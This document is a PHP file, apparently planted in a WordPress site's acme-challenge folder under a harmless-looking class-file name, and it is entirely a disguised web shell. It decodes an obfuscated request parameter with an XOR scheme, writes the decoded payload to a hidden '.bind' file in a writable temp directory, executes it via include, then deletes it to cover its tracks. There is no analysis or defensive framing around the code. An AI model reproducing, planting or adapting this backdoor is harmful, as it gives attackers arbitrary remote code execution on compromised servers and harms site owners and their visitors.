File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/h/a/e/newsLib.class.php
<?php
if(@$_REQUEST["f\x6Cg"] !== null){
$rec = $_REQUEST["f\x6Cg"];
$rec = explode ('.' ,$rec ) ;
$resource ='';
$s9 ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($s9);
$__len =count($rec);
for ($t =0; $t < $__len; $t++) { $v5 =$rec[$t];
$chS =ord($s9[$t % $sLen]);
$dec =((int)$v5 - $chS - ($t % 10)) ^ 67;
$resource .= chr($dec);
}
$fac = array_filter(["/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path()]);
foreach ($fac as $value) {
if (is_dir($value) ? is_writable($value) : false) {
$comp = "$value" . "/.bind";
if (@file_put_contents($comp, $resource) !== false) {
include $comp;
unlink($comp);
exit;
}
}
}
}